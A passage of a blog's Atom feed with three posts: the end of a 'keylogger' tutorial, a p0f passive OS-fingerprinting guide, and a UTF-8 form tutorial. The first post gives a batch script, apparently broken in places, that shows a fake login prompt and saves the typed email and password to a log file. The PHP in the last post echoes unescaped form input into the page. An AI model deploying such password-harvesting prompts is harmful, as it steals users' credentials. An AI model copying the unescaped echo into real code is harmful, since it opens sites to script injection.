  from the option.&lt;br /&gt;&lt;br /&gt;@echo off&lt;br /&gt;color a&lt;br /&gt;title Login&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
  cls&lt;br /&gt;echo Please enter your Email address and Password&lt;br /&gt;echo&lt;br /&gt;echo&lt;br /&gt;cd
  &quot;C:Logs&quot;&lt;br /&gt;Set /P user = username&lt;br /&gt;Set /P Pass = password&lt;br /&gt;echo
  Username = &quot;%user%&quot;&lt;br /&gt;Password= &quot;%pass%&quot; &amp;gt;&amp;gt; Log.txt&lt;br /&gt;Start
  &amp;gt;&amp;gt; program Here &amp;lt;&amp;lt;&lt;br /&gt;exit&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b
    &gt;Step 2 - &lt;/b
  &gt;now save this file has Logs.bat on your desktop.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 3 -&lt;/b&gt;
  now create a new folder name logs (Note that keylogger will only work if the
  folder name is logs) cut the folder and paste into C: Drive.&lt;br /&gt;&lt;br /&gt;&lt;b
    &gt;Step 4 &lt;/b
  &gt;- Now test your file Log.bat and then after entering the username and
  password.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 5 -&lt;/b&gt; open the folder in c drive and see all
  saved key logs there as a text file created there automatically.&lt;br /&gt;&lt;br /&gt;That&#39;s
  it you are done you have successfully created a keylogger in notepad.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;!-- feb-2023 --&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;9637714071&quot;
     data-ad-format=&quot;auto&quot;
     data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Disclaimer&lt;/h4&gt;

All tutorials are for informational and educational purposes only and have been
made using our own routers, servers, websites and other vulnerable free
resources. we do not contain any illegal activity. We believe that ethical
hacking, information security and cyber security should be familiar subjects to
anyone using digital information and computers. Hacking Truth is against misuse
of the information and we strongly suggest against it. Please regard the word
hacking as ethical hacking or penetration testing every time this word is used.
We do not promote, encourage, support or excite any illegal activity or hacking.

&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/5068453438659070339/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2023/08/keystroke-keylogger-via-code.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/5068453438659070339'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/5068453438659070339'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2023/08/keystroke-keylogger-via-code.html' title='keystroke keylogger via code'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp5x9qPwiHVkzQdHWHOehlU4rQJpoOZ0cxRdXj4WvmusdbmU4YcrVEJjNPpAwSdtqmkLfz3J6rxdix2pDDfZeqjP0xI2OwSr0lQgmLZlsyZF8ryg_CrbPjPEJKchtoOjOR1q2fh4QQo43kB7bp5LaWhSMybmN2pDL2aJMhWZ3bbPz__Dl88RluXmG8rZQF/s72-w640-h360-c/keystroke%20keylogger%20via%20code.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-4263421307763101038</id><published>2023-07-30T18:06:00.002-07:00</published><updated>2023-07-30T18:50:28.034-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Cyber Security"/><category scheme="http://www.blogger.com/atom/ns#" term="kali linux"/><category scheme="http://www.blogger.com/atom/ns#" term="p0f"/><title type='text'>p0f passive OS detection</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbfI5Oj0Q2Fq1WemnQcWl9Vi80rEaKzx42eSP2bpis31f1P2UdzP_-gIAJKpNKiwF4ZJLhemcyJnD08JDH6jp_zagB_NaPM4LWFD_anproMzN5wCv5HLbEhIpBbp8-aXj5do9z1dE9Yb5WYTabc42aDulG02AoWqghqsHrZFxgy5TY04pox8kUnUBHpjKy/s1920/p0f-kali-linux.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1080&quot; data-original-width=&quot;1920&quot; height=&quot;360&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbfI5Oj0Q2Fq1WemnQcWl9Vi80rEaKzx42eSP2bpis31f1P2UdzP_-gIAJKpNKiwF4ZJLhemcyJnD08JDH6jp_zagB_NaPM4LWFD_anproMzN5wCv5HLbEhIpBbp8-aXj5do9z1dE9Yb5WYTabc42aDulG02AoWqghqsHrZFxgy5TY04pox8kUnUBHpjKy/w640-h360/p0f-kali-linux.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;p0f-kali-linux &lt;br /&gt;&lt;/h4&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;p0f &lt;/b&gt;performs &lt;i&gt;passive&lt;/i&gt; &lt;i&gt;OS&lt;/i&gt; &lt;i&gt;detection&lt;/i&gt; based on SYN
  packets. Unlike &lt;i&gt;&lt;b&gt;nmap&lt;/b&gt;&lt;/i&gt;, p0f does recognition without sending any data. Additionally, it is able to
  determine the distance to the remote host, and can be used to determine the
  structure of a foreign or local network. When running on the gateway of a
  network it is able to gather huge amounts of data and provide useful
  statistics. On a user-end computer it could be used as powerful IDS add-on.
  p0f supports full tcpdump-style filtering expressions, and has an extensible
  and detailed fingerprinting database.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;To use p0f on Kali Linux, you can follow these steps:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1. &lt;/b&gt;Open a terminal on Kali Linux.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2.&lt;/b&gt;
  Install p0f if it&#39;s not already installed:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;sudo apt update&lt;br /&gt;sudo apt install p0f&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Once p0f is installed, you can start using it by
  specifying the network interface you want to monitor for passive OS
  fingerprinting. For example, to use p0f on the &quot;&lt;b&gt;&lt;i&gt;eth0&lt;/i&gt;&lt;/b&gt;&quot;, &quot;&lt;b&gt;&lt;i&gt;wlan0&lt;/i&gt;&lt;/b&gt;&quot; network interface, you can run the following command:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;sudo p0f -i &amp;lt;interface name&amp;gt;&lt;br /&gt;ifconfig (To check interface in
    your kali system)&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;fluid&quot; data-ad-layout=&quot;in-article&quot; data-ad-slot=&quot;5920726694&quot; style=&quot;display: block; text-align: center;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheTyRNq16VcWYyJ3D-TPeO8tUPpE3Fzjua0mawDyhfEq2b5FEqjGygWmD0M_Mz2KQWb3_ltBUDQnydRvMDj8p0jIdUcWC8Gu5JKLTwJ9Pn_Osi9nSZyJnSvhTPT-qyYd1jkxpOBWYv0UUo0q6J1yPDkZq5D-J30DMiWbuFqYOaJZkIAjdEt50gClf2Vg-h/s702/1.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;405&quot; data-original-width=&quot;702&quot; height=&quot;370&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheTyRNq16VcWYyJ3D-TPeO8tUPpE3Fzjua0mawDyhfEq2b5FEqjGygWmD0M_Mz2KQWb3_ltBUDQnydRvMDj8p0jIdUcWC8Gu5JKLTwJ9Pn_Osi9nSZyJnSvhTPT-qyYd1jkxpOBWYv0UUo0q6J1yPDkZq5D-J30DMiWbuFqYOaJZkIAjdEt50gClf2Vg-h/w640-h370/1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;fluid&quot; data-ad-layout-key=&quot;-fb+5w+4e-db+86&quot; data-ad-slot=&quot;7752134372&quot; style=&quot;display: block;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;
  &amp;nbsp;&lt;br /&gt;The tool will start listening to the network traffic on the
  specified interface and attempt to identify the OS of the hosts communicating
  on that network.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh79Jt4llauRnzfv3WvLdkVq5vPNtxSe81FFC6CPGFEyB6WKkrjFOzDKdNeGx16JVDU3pu4mvuhtJsSG0LR5dGdmL2EV6U6yfM7q7ET7_OL0UStOXaFg7EF9wvaY-1nA_lli0_-hY1tBFR3T-_ILqrrtash511n075ru77J7XLgBW9uoLXBZ3G3-hJbkuc7/s780/p0f.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;642&quot; data-original-width=&quot;780&quot; height=&quot;526&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh79Jt4llauRnzfv3WvLdkVq5vPNtxSe81FFC6CPGFEyB6WKkrjFOzDKdNeGx16JVDU3pu4mvuhtJsSG0LR5dGdmL2EV6U6yfM7q7ET7_OL0UStOXaFg7EF9wvaY-1nA_lli0_-hY1tBFR3T-_ILqrrtash511n075ru77J7XLgBW9uoLXBZ3G3-hJbkuc7/w640-h526/p0f.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Please note that network sniffing and OS
  fingerprinting can be subject to various legal and ethical considerations.
  Always ensure you have the necessary permissions and authorization before
  using such tools, and only use them on networks you own or have explicit
  permission to test. Unauthorized use of network sniffing tools is illegal and
  unethical. Always act responsibly and respect the privacy and security of
  others.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Disclaimer&lt;/h4&gt;

All tutorials are for informational and educational purposes only and have been
made using our own routers, servers, websites and other vulnerable free
resources. we do not contain any illegal activity. We believe that ethical
hacking, information security and cyber security should be familiar subjects to
anyone using digital information and computers. Hacking Truth is against misuse
of the information and we strongly suggest against it. Please regard the word
hacking as ethical hacking or penetration testing every time this word is used.
We do not promote, encourage, support or excite any illegal activity or hacking.

&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/4263421307763101038/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2023/07/p0f-passive-os-detection.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/4263421307763101038'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/4263421307763101038'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2023/07/p0f-passive-os-detection.html' title='p0f passive OS detection'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbfI5Oj0Q2Fq1WemnQcWl9Vi80rEaKzx42eSP2bpis31f1P2UdzP_-gIAJKpNKiwF4ZJLhemcyJnD08JDH6jp_zagB_NaPM4LWFD_anproMzN5wCv5HLbEhIpBbp8-aXj5do9z1dE9Yb5WYTabc42aDulG02AoWqghqsHrZFxgy5TY04pox8kUnUBHpjKy/s72-w640-h360-c/p0f-kali-linux.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-2940179134827686380</id><published>2023-02-20T09:55:00.001-08:00</published><updated>2023-02-20T10:01:03.711-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="html"/><category scheme="http://www.blogger.com/atom/ns#" term="UTF-8"/><category scheme="http://www.blogger.com/atom/ns#" term="web development"/><title type='text'>How Actually UTF-8 works with Practical?</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blog.hackingtruth.org/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;How Actually UTF-8 works with Practical?&quot; border=&quot;0&quot; data-original-height=&quot;591&quot; data-original-width=&quot;1004&quot; height=&quot;376&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXsgaqPQ8PHwCepAVWMb4wZ-XMHD4bF6FSoFV19SuINoIQncRewXyivsn0bhDrr0DrKFGP3Ytw4sgQbqfUEyhQYOKHZdMZxGGQ89aUpjEEyy0dudFKBEp5LOTYBrZlLMjI0asfaYCUk4eZkzN8gApqTvqjI0dCcRcjazqJb0XMVVivu7z-13xFU8QdfA/w640-h376/utf-8-hackingtruth-org.png&quot; title=&quot;How Actually UTF-8 works with Practical?&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&amp;nbsp;
&lt;p&gt;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;Actually what is it UTF-8?&lt;/h3&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;b&gt;UTF-8&lt;/b&gt; (&lt;b&gt;&lt;i&gt;unicode transformation format&lt;/i&gt;&lt;/b&gt;) is a character encoding that is commonly used in web development to
  represent text using a sequence of bytes.
&lt;/p&gt;
&lt;p&gt;
  &lt;br /&gt;It is designed to be compatible with &lt;b&gt;&lt;i&gt;ASCII&lt;/i&gt;&lt;/b&gt;, which means that ASCII character can be represented using a single byte,
  while characters from other scripts, such as &lt;b&gt;chinese &lt;/b&gt;etc, require
  multiple bytes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;UTF-8&lt;/i&gt;&lt;/b&gt; is widely used in web
  development becuase it allows developers to support a wide range of characters
  and scripts without&amp;nbsp; requiring complex &lt;b&gt;encoding &lt;/b&gt;schemes or special
  handling for different language.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;It&#39;s support most modern web
  browsers and web servers.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;Web browser how can understand UTF-8?&lt;/h3&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;br /&gt;Web browser can understand UTF-8 encoding because it is the
  default character encoding used by the world wide web.&lt;br /&gt;&lt;br /&gt;When a web
  page is loaded in a browser, the browser looks for a character encoding
  declaration in the document&#39;s metadata, such as the
  &lt;b&gt;&lt;i&gt;HTML &lt;/i&gt;&lt;/b&gt;&amp;lt;&lt;b&gt;meta&lt;/b&gt;&amp;gt; element or the &lt;b&gt;HTTP&lt;/b&gt; &quot;&lt;b&gt;&lt;i&gt;Content-Type&lt;/i&gt;&lt;/b&gt;&quot; header. If no explicit encoding is specified, the browser assumes that the
  content is encoded in UTF-8 by default.&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;fluid&quot; data-ad-layout=&quot;in-article&quot; data-ad-slot=&quot;5920726694&quot; style=&quot;display: block; text-align: center;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;
  How we can implement UTF-8 in web development and convert in to UTF-8 in
  computer language?
&lt;/h3&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;br /&gt;First we implement a HTML From for take user input!! so lets start
  with the HTML coding.&lt;br /&gt;&lt;br /&gt;Let&#39;s say you are building a web form that
  allows users to input their name and email address. You want to ensure that
  the form can handle names and email addresses from around the world,
  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here&#39;s an example HTML form that uses UTF-8 encoding:
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&amp;nbsp;&amp;lt;form action=&quot;submit-form.php&quot; method=&quot;post&quot;&amp;gt;&lt;br /&gt;&amp;nbsp;
    &amp;lt;label for=&quot;name&quot;&amp;gt;Name:&amp;lt;/label&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;lt;input
    type=&quot;text&quot; name=&quot;name&quot; id=&quot;name&quot;&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;lt;label
    for=&quot;email&quot;&amp;gt;Email:&amp;lt;/label&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;lt;input type=&quot;email&quot;
    name=&quot;email&quot; id=&quot;email&quot;&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;lt;button
    type=&quot;submit&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  &amp;nbsp;&lt;br /&gt;In the PHP script that handles the form submission
  (submit-form.php), we can use the $_POST superglobal to access the form data.
  Because we are using UTF-8 encoding, any non-ASCII characters in the form data
  will be correctly represented:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;$name = $_POST[&#39;name&#39;];&lt;br /&gt;$email = $_POST[&#39;email&#39;];&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
    &amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;UTF-8 encoding &amp;lt;/title&amp;gt;
	&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
     &amp;lt;/head&amp;gt;
	 &amp;lt;style&amp;gt;
        .form-css {
            top: 50%;
            left:50%;
            transform: translate(-50%, -50%);
            position: absolute;
            border: 2px solid black;
            padding: 30px;
        }
        &amp;lt;/style&amp;gt;

&amp;lt;body&amp;gt;
&amp;lt;form action=&quot;form.php&quot; class=&quot;form-css&quot; method=&quot;post&quot;&amp;gt;
    &amp;lt;h2 style=&quot;text-align:center&quot;&amp;gt;Hacking Truth&amp;lt;/h2&amp;gt;
  &amp;lt;label for=&quot;name&quot;&amp;gt;Name:&amp;lt;/label&amp;gt;
  &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; id=&quot;name&quot;&amp;gt;

  &amp;lt;label for=&quot;email&quot;&amp;gt;Email:&amp;lt;/label&amp;gt;
  &amp;lt;input type=&quot;email&quot; name=&quot;email&quot; id=&quot;email&quot;&amp;gt;

  &amp;lt;button type=&quot;submit&quot; name=&quot;submit&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;
  
 
&amp;lt;/form&amp;gt;

&amp;lt;?php
if(isset($_POST[&#39;submit&#39;]))
{
    
$name = $_POST[&#39;name&#39;];
$email = $_POST[&#39;email&#39;];

echo &quot;&amp;lt;h4&amp;gt;Your Name is $name&amp;lt;/h4&amp;gt;&quot;;

echo &quot;&amp;lt;h4&amp;gt;Your Email ID is $email&amp;lt;/h4&amp;gt;&quot;;

}
?&amp;gt;

&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;b style=&quot;background-color: black; color: white;&quot;&gt;NOTE - View it in desktop mode to see it in good resolution.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  &lt;a href=&quot;https://blog.hackingtruth.org/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;How Actually UTF-8 works with Practical?&quot; border=&quot;0&quot; data-original-height=&quot;712&quot; data-original-width=&quot;1498&quot; height=&quot;304&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw8xj63qA0dbhodKXCGl0-SyuzEuq8_u8HYNS57qK8tnokHzm8H9rYuxLZoo8SUhBhO4dGmP4rqvLvZD_1BYxUvz0wMwTO-rCYlqKmGEETnWu82gSB5bi3sxGvKpqfNHZhmSFT_I1j7SLC6eumI-ofycCe6ArUuZ7RJ_hb-N5JLj7APSbxD7INrgzoSg/w640-h304/utf-8-hackingtruth1.png&quot; title=&quot;How Actually UTF-8 works with Practical?&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
  &lt;br /&gt;
&lt;/p&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;!--feb-2023--&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;auto&quot; data-ad-slot=&quot;9637714071&quot; data-full-width-responsive=&quot;true&quot; style=&quot;display: block;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;Read Also&lt;/b&gt; -
  &lt;a href=&quot;https://www.hackingtruth.in/2020/08/networking-primer-series-binary-to.html&quot; target=&quot;_blank&quot;&gt;Network Primer Series with Binary to Decimal, Dec to Bin, Dec to Hex etc&lt;/a&gt;
  &lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blog.hackingtruth.org/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;How Actually UTF-8 works with Practical?&quot; border=&quot;0&quot; data-original-height=&quot;686&quot; data-original-width=&quot;1340&quot; height=&quot;328&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ_MzRMVf0n9U4BsXeak9nYefLG3E34E1eWzQ-4z_3ngQKZ4Gv0arz5IfeFwa7RXtYKU5jPg2-4F69yRNwHFYG0Hhnmogx-4zsPTSP9Ub_ocW7iet6xl6I9CZOldOcSbX_DA4m9YtjHIN_YVThOIdG3slMWuGlP9xcQm2c-7h5jkpQ6z2YnF7FJX8_Mw/w640-h328/utf-8-hackingtruth2.png&quot; title=&quot;How Actually UTF-8 works with Practical?&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;fluid&quot; data-ad-layout-key=&quot;-fb+5w+4e-db+86&quot; data-ad-slot=&quot;7752134372&quot; style=&quot;display: block;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &amp;nbsp;&lt;br /&gt;Now, we take user&#39;s output like &quot;&lt;b&gt;atul&lt;/b&gt;&quot; and convert it into
  ASCII and binary too, then computer understands our language.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Here are the steps to follow:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Look up the ASCII code for each character in the
  text. You can find an &lt;b&gt;&lt;i&gt;ASCII table&lt;/i&gt;&lt;/b&gt; online, but in general, the
  ASCII codes for uppercase and lowercase letters, digits, and most punctuation
  marks are the same as their Unicode code points.&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
